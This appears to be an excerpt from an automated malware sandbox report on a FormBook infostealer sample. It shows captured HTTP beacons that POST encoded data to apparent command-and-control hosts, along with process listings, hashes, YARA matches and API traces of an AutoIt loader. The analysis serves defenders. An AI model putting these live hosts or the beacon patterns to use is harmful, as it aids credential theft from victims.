Sep 11, 2024 11:20:51.601202965 CEST	760	OUT	POST /c0yj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.kfowks.site Origin: http://www.kfowks.site Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.kfowks.site/c0yj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 63 76 5a 70 4c 56 37 59 78 53 68 44 52 35 6f 43 36 48 64 42 2b 76 6b 74 2f 6b 34 76 6c 69 34 30 43 66 72 59 68 37 32 51 4d 6b 79 69 6c 30 43 37 44 57 51 34 77 4b 6b 49 30 56 72 2f 32 73 74 42 45 6a 65 4b 42 4f 42 39 32 2f 53 61 58 62 4b 64 48 5a 5a 76 4a 79 72 44 45 49 49 47 55 54 4b 4e 41 56 68 52 45 31 79 51 50 50 31 5a 41 42 66 53 36 39 64 6d 2f 79 45 72 6c 46 72 6b 32 6b 4d 54 34 49 63 35 38 49 76 35 38 49 51 56 49 4f 65 6a 50 46 2f 6e 35 52 2f 4b 67 56 74 54 47 59 2f 64 46 75 5a 69 56 75 66 72 79 36 6e 2f 39 50 64 65 78 6d 5a 49 42 54 54 74 45 30 4d 34 48 49 37 6b 45 67 3d 3d Data Ascii: pP_8=cvZpLV7YxShDR5oC6HdB+vkt/k4vli40CfrYh72QMkyil0C7DWQ4wKkI0Vr/2stBEjeKBOB92/SaXbKdHZZvJyrDEIIGUTKNAVhRE1yQPP1ZABfS69dm/yErlFrk2kMT4Ic58Iv58IQVIOejPF/n5R/KgVtTGY/dFuZiVufry6n/9PdexmZIBTTtE0M4HI7kEg==
Sep 11, 2024 11:20:53.091767073 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 11 Sep 2024 09:20:59 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	63374	38.181.141.122	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:54.142148018 CEST	780	OUT	POST /c0yj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.kfowks.site Origin: http://www.kfowks.site Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.kfowks.site/c0yj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 63 76 5a 70 4c 56 37 59 78 53 68 44 52 59 59 43 70 30 46 42 76 2f 6b 75 36 6b 34 76 76 43 34 77 43 66 33 59 68 2f 48 4e 50 57 57 69 6c 57 61 37 43 58 51 34 7a 4b 6b 49 37 31 72 2b 34 4d 73 44 45 6a 62 35 42 50 39 39 32 38 75 61 58 5a 43 64 48 71 68 6f 54 43 72 57 64 59 49 45 5a 7a 4b 4e 41 56 68 52 45 31 6e 48 50 50 39 5a 42 79 58 53 37 66 6c 6c 78 53 45 6b 74 6c 72 6b 39 45 4e 55 34 49 64 63 38 4b 4c 58 38 4f 63 56 49 4d 47 6a 50 52 72 6f 32 52 2b 44 75 31 73 43 57 37 4f 6b 4e 75 6f 7a 54 5a 32 50 74 4c 62 47 31 70 4d 45 67 58 34 66 54 54 33 65 5a 7a 46 4d 4b 4c 47 74 66 6b 32 6d 67 35 64 2b 74 35 45 35 4c 72 64 61 5a 56 50 31 68 4f 59 3d Data Ascii: pP_8=cvZpLV7YxShDRYYCp0FBv/ku6k4vvC4wCf3Yh/HNPWWilWa7CXQ4zKkI71r+4MsDEjb5BP9928uaXZCdHqhoTCrWdYIEZzKNAVhRE1nHPP9ZByXS7fllxSEktlrk9ENU4Idc8KLX8OcVIMGjPRro2R+Du1sCW7OkNuozTZ2PtLbG1pMEgX4fTT3eZzFMKLGtfk2mg5d+t5E5LrdaZVP1hOY=
Sep 11, 2024 11:20:55.058460951 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 11 Sep 2024 09:21:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	63375	38.181.141.122	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:57.020370007 CEST	10862	OUT	POST /c0yj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.kfowks.site Origin: http://www.kfowks.site Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.kfowks.site/c0yj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 63 76 5a 70 4c 56 37 59 78 53 68 44 52 59 59 43 70 30 46 42 76 2f 6b 75 36 6b 34 76 76 43 34 77 43 66 33 59 68 2f 48 4e 50 57 65 69 6c 6a 4f 37 41 77 6b 34 79 4b 6b 49 6c 6c 72 37 34 4d 74 62 45 6e 50 6d 42 50 78 44 32 35 71 61 55 37 36 64 46 62 68 6f 64 79 72 57 41 49 49 46 55 54 4c 48 41 57 4a 56 45 31 33 48 50 50 39 5a 42 7a 6e 53 38 4e 64 6c 68 69 45 72 6c 46 72 6f 32 6b 4d 7a 34 49 31 6d 38 4b 66 70 39 2b 38 56 49 73 57 6a 41 43 44 6f 2f 52 2b 4e 6a 56 73 61 57 37 43 46 4e 75 45 2f 54 63 4c 71 74 4c 2f 47 32 2b 68 42 79 6b 51 77 58 52 6e 54 4d 7a 70 74 44 4d 33 72 62 6b 53 7a 75 4a 52 2b 2f 34 73 53 47 49 68 52 63 47 4c 33 39 4c 31 51 58 4b 62 73 6d 45 46 41 50 6a 79 77 72 58 66 4a 64 46 57 38 62 41 70 64 44 34 41 6b 49 4c 57 4e 36 4d 62 51 4f 52 58 62 63 44 5a 68 6e 48 71 57 62 67 6f 6b 69 4c 62 55 4d 72 31 74 78 76 61 4e 61 43 44 74 61 4c 53 67 78 65 2f 6a 45 5a 4b 5a 64 71 6c 76 39 6a 56 4d 4b 5a 5a 74 46 58 54 6d 4f 38 6d 75 59 43 63 69 46 49 2f 7a 38 50 63 78 41 6a 47 4b 62 [TRUNCATED] Data Ascii: pP_8=cvZpLV7YxShDRYYCp0FBv/ku6k4vvC4wCf3Yh/HNPWeiljO7Awk4yKkIllr74MtbEnPmBPxD25qaU76dFbhodyrWAIIFUTLHAWJVE13HPP9ZBznS8NdlhiErlFro2kMz4I1m8Kfp9+8VIsWjACDo/R+NjVsaW7CFNuE/TcLqtL/G2+hBykQwXRnTMzptDM3rbkSzuJR+/4sSGIhRcGL39L1QXKbsmEFAPjywrXfJdFW8bApdD4AkILWN6MbQORXbcDZhnHqWbgokiLbUMr1txvaNaCDtaLSgxe/jEZKZdqlv9jVMKZZtFXTmO8muYCciFI/z8PcxAjGKbyQ5GQKmh9STq1SHGilttZWkMJKBo9CjhazBKKuiChwuMvSMe/DZXGSDMjWIYTX1xcMcXr05c7Co5Ipi38JD39VfH5/ChzpPlij5Sh7J1XVDzDYAwSDQzufTNTEFM6XWmkcy/amz9kXsl308ngG7z/ignqfxtsPFUOXRcqr4qjXpGM9TyvKwqa8x85HJY17WwQlQCJs2iCX7XCSrgZVxsrFjXD4tqtrOp6ykRttkef7pRiYNKz42wc8BDiidkl3UKpzjnHTLcPLA8InBxCcWbQ1H4QAjcGNuJvx5FGyeM/jB+/NQ/PhdF29+paQ5LgbCqOQ7AE7Omrji64NrkPWitOwN2ugdw/9BQTIi2Ypunk0lnaGq7BIpJCcXC5HyylGjmKGhFcVZqgxsAWl6cuGof89eOmgFqN63PDrmcTk2ifZt6iekgJwRQnYYWZ4F7Ld1ISAedw5y4r9uJvFMI5/37Jko/ELirgTA+wAsq8BzbEZ9ZT9WTgGAuAkCYQKiLBcJ6zr8JZFeQhpNS4z+kYphgazxBgGB7UClEW2WFSwOlXhtyatHRnaA9Lrlxxf9UNgApm7V3TPCw70RU8QIVc1ydi9JDui6w9hN7mX8H1MAyLnMpAP3zm7W2qju5u1ycxT5xgCI/DpB3GS6MFX7kICbpVJ3qyYHR7XRy4j [TRUNCATED]
Sep 11, 2024 11:20:57.931412935 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 11 Sep 2024 09:21:05 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	63376	38.181.141.122	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:59.831751108 CEST	498	OUT	GET /c0yj/?pP_8=RtxJIiPVwFtoON8X5lg1/pck0zde3AcVW+Sw8LHuBGbwhWeZHgga75pQywOD+eRBU36nZddvjNScILyGR/VfIgCLIuIjBhPcY00gClaWQM5nJXPcxtJH+zI=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.kfowks.site Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:21:00.793679953 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 11 Sep 2024 09:21:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	63377	81.88.63.46	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:21:09.439260960 CEST	495	OUT	GET /a4ar/?V0Qh=4pBta8&pP_8=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.2bhp.com Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:21:10.103210926 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:21:10 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>

Target ID:	0
Start time:	05:17:00
Start date:	11/09/2024
Path:	C:\Users\user\Desktop\DOC092024-0431202229487.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DOC092024-0431202229487.exe"
Imagebase:	0x710000
File size:	753'664 bytes
MD5 hash:	3A3B2034D8649F6112FAA82E0DABA310
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:17:01
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DOC092024-0431202229487.exe"
Imagebase:	0x280000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:17:03
Start date:	11/09/2024
Path:	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe"
Imagebase:	0x470000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:17:05
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\mstsc.exe"
Imagebase:	0x460000
File size:	1'264'640 bytes
MD5 hash:	EA4A02BE14C405327EEBA8D9AD2BD42C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:17:17
Start date:	11/09/2024
Path:	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe"
Imagebase:	0x470000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:17:29
Start date:	11/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0.9%
Signature Coverage:	6.6%
Total number of Nodes:	1939
Total number of Limit Nodes:	190

Executed Functions

Function 0071374E Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 0071376D

Part of subcall function 00714257: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DOC092024-0431202229487.exe,00000104,?,00000000,00000001,00000000), ref: 0071428C

IsDebuggerPresent.KERNEL32(?,?), ref: 0071377F
GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\DOC092024-0431202229487.exe,00000104,?,007D1120,C:\Users\user\Desktop\DOC092024-0431202229487.exe,007D1124,?,?), ref: 007137EE

Part of subcall function 007134F3: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0071352A

SetCurrentDirectoryW.KERNEL32(?), ref: 00713860
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,007C2934,00000010), ref: 007821C5
SetCurrentDirectoryW.KERNEL32(?,?), ref: 007821FD
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 00782232
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,007ADAA4), ref: 00782290
ShellExecuteW.SHELL32(00000000), ref: 00782297

Part of subcall function 007130A5: GetSysColorBrush.USER32(0000000F), ref: 007130B0
Part of subcall function 007130A5: LoadCursorW.USER32(00000000,00007F00), ref: 007130BF
Part of subcall function 007130A5: LoadIconW.USER32(00000063), ref: 007130D5
Part of subcall function 007130A5: LoadIconW.USER32(000000A4), ref: 007130E7
Part of subcall function 007130A5: LoadIconW.USER32(000000A2), ref: 007130F9
Part of subcall function 007130A5: RegisterClassExW.USER32(?), ref: 00713167

Part of subcall function 00712E9D: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00712ECB
Part of subcall function 00712E9D: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00712EEC
Part of subcall function 00712E9D: ShowWindow.USER32(00000000), ref: 00712F00
Part of subcall function 00712E9D: ShowWindow.USER32(00000000), ref: 00712F09

Part of subcall function 00713598: _memset.LIBCMT ref: 007135BE
Part of subcall function 00713598: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00713667

Strings

"}, xrefs: 0071379D
runas, xrefs: 0078228B
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 007821BE
C:\Users\user\Desktop\DOC092024-0431202229487.exe, xrefs: 007137B4, 007137E9, 007137FD, 00782257

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
